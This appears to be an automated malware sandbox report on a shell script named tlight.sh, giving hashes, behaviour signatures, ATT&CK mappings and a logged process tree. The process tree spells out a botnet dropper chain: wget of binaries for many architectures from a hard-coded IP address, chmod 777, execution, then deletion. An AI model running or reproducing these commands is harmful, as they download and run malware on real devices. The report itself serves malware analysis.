54f9d96c9369f699bff8c8ceae4d6f1376616488696be2d361f8c83034eab238

Resubmissions

22-08-2022 17:16

220822-vs7zgsaggj 9

22-08-2022 17:12

22-08-2022 05:59

22-08-2022 02:57

22-08-2022 02:42

Analysis

max time kernel
22165s
max time network
160s
platform
linux_armhf
resource
debian9-armhf-en-20211208
resource tags

arch:armhfimage:debian9-armhf-en-20211208kernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22-08-2022 05:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tlight.sh
Size

1KB
MD5

894e976a4a3f5e6038168b5c4b78f98d
SHA1

13cd9bc7146037714e546063867353cbb1b6ff03
SHA256

54f9d96c9369f699bff8c8ceae4d6f1376616488696be2d361f8c83034eab238
SHA512

4b3ddf27afd2f04d19d879aedf5e083af6d2511d426b6a9ce991ffcebaa4013890b6ab473c68c36c25717ced8c7ef4e89765fdd8407adc3b00be44256a0f7571

Score

9^/10

discovery

Malware Config

Signatures

Writes file to system bin folder 1 TTPs 1 IoCs

Hijack Execution Flow
T1574

Processes:

cp

description ioc process

/bin/busybox /bin/busybox cp
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.

Dynamic Resolution
T1568

Processes:

description ioc

/etc/resolv.conf /etc/resolv.conf
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Scanning
T1046
Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.

Processes:

cp

description ioc process

/proc/filesystems /proc/filesystems cp
Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.

Processes:

tlight.shcp

description ioc process

/tmp/tlight.sh /tmp/tlight.sh tlight.sh
/tmp/busybox /tmp/busybox cp

description	ioc	process
/bin/busybox	/bin/busybox	cp

description	ioc
/etc/resolv.conf	/etc/resolv.conf

description	ioc	process
/proc/filesystems	/proc/filesystems	cp

description	ioc	process
/tmp/tlight.sh	/tmp/tlight.sh	tlight.sh
/tmp/busybox	/tmp/busybox	cp

/tmp/tlight.sh
/tmp/tlight.sh
1⤵
- Writes file to tmp directory
PID:363

/bin/cp
cp /bin/busybox /tmp/
2⤵
- Writes file to system bin folder
- Reads runtime system information
- Writes file to tmp directory
PID:365

/usr/bin/wget
wget http://37.44.238.187/FBI.i486
2⤵
PID:369

/bin/chmod
chmod 777 FBI.i486
2⤵
PID:371

./FBI.i486
./FBI.i486 tlight.i486.wget
2⤵
PID:372

/bin/rm
rm -rf FBI.i486
2⤵
PID:373

/usr/bin/wget
wget http://37.44.238.187/FBI.x86_64
2⤵
PID:374

/bin/chmod
chmod 777 FBI.x86_64
2⤵
PID:376

./FBI.x86_64
./FBI.x86_64 tlight.x86_64.wget
2⤵
PID:377

/bin/rm
rm -rf FBI.x86_64
2⤵
PID:379

/usr/bin/wget
wget http://37.44.238.187/FBI.i586
2⤵
PID:380

/bin/chmod
chmod 777 FBI.i586
2⤵
PID:382

./FBI.i586
./FBI.i586 tlight.i586.wget
2⤵
PID:383

/bin/rm
rm -rf FBI.i586
2⤵
PID:385

/usr/bin/wget
wget http://37.44.238.187/FBI.i686
2⤵
PID:387

/bin/chmod
chmod 777 FBI.i686
2⤵
PID:389

./FBI.i686
./FBI.i686 tlight.i686.wget
2⤵
PID:390

/bin/rm
rm -rf FBI.i686
2⤵
PID:392

/usr/bin/wget
wget http://37.44.238.187/FBI.mips
2⤵
PID:393

/bin/chmod
chmod 777 FBI.mips
2⤵
PID:395

./FBI.mips
./FBI.mips tlight.mips.wget
2⤵
PID:396

/bin/rm
rm -rf FBI.mips
2⤵
PID:398

/usr/bin/wget
wget http://37.44.238.187/FBI.mipsel
2⤵
PID:399

/bin/chmod
chmod 777 FBI.mipsel
2⤵
PID:401

./FBI.mipsel
./FBI.mipsel tlight.mipsel.wget
2⤵
PID:402

/bin/rm
rm -rf FBI.mipsel
2⤵
PID:403

/usr/bin/wget
wget http://37.44.238.187/FBI.arm
2⤵
PID:404

/bin/chmod
chmod 777 FBI.arm
2⤵
PID:406

./FBI.arm
./FBI.arm tlight.arm.wget
2⤵
PID:407

/bin/rm
rm -rf FBI.arm
2⤵
PID:471

/usr/bin/wget
wget http://37.44.238.187/FBI.arm5
2⤵
PID:472

/bin/chmod
chmod 777 FBI.arm5
2⤵
PID:474

./FBI.arm5
./FBI.arm5 tlight.arm5.wget
2⤵
PID:475

/bin/rm
rm -rf FBI.arm5
2⤵
PID:524

/usr/bin/wget
wget http://37.44.238.187/FBI.arm6
2⤵
PID:540

/bin/chmod
chmod 777 FBI.arm6
2⤵
PID:542

./FBI.arm6
./FBI.arm6 tlight.arm6.wget
2⤵
PID:543

/bin/rm
rm -rf FBI.arm6
2⤵
PID:549

/usr/bin/wget
wget http://37.44.238.187/FBI.arm7
2⤵
PID:550

/bin/chmod
chmod 777 FBI.arm7
2⤵
PID:552

./FBI.arm7
./FBI.arm7 tlight.arm7.wget
2⤵
PID:553

/bin/rm
rm -rf FBI.arm7
2⤵
PID:559

/usr/bin/wget
wget http://37.44.238.187/FBI.ppc
2⤵
PID:560

/bin/chmod
chmod 777 FBI.ppc
2⤵
PID:562

./FBI.ppc
./FBI.ppc tlight.ppc.wget
2⤵
PID:563

/bin/rm
rm -rf FBI.ppc
2⤵
PID:565

/usr/bin/wget
wget http://37.44.238.187/FBI.m68k
2⤵
PID:566

/bin/chmod
chmod 777 FBI.m68k
2⤵
PID:568

./FBI.m68k
./FBI.m68k tlight.m68k.wget
2⤵
PID:569

/bin/rm
rm -rf FBI.m68k
2⤵
PID:570

/usr/bin/wget
wget http://37.44.238.187/FBI.sh4
2⤵
PID:571

/bin/chmod
chmod 777 FBI.sh4
2⤵
PID:575

./FBI.sh4
./FBI.sh4 tlight.sh4.wget
2⤵
PID:576

/bin/rm
rm -rf FBI.sh4
2⤵
PID:578

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Hijack Execution Flow

T1574

Privilege Escalation

Hijack Execution Flow

T1574

Defense Evasion

Hijack Execution Flow

T1574

Credential Access

Discovery

Network Service Scanning

T1046

Lateral Movement

Collection

Exfiltration

Command and Control

Dynamic Resolution

T1568

Impact

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads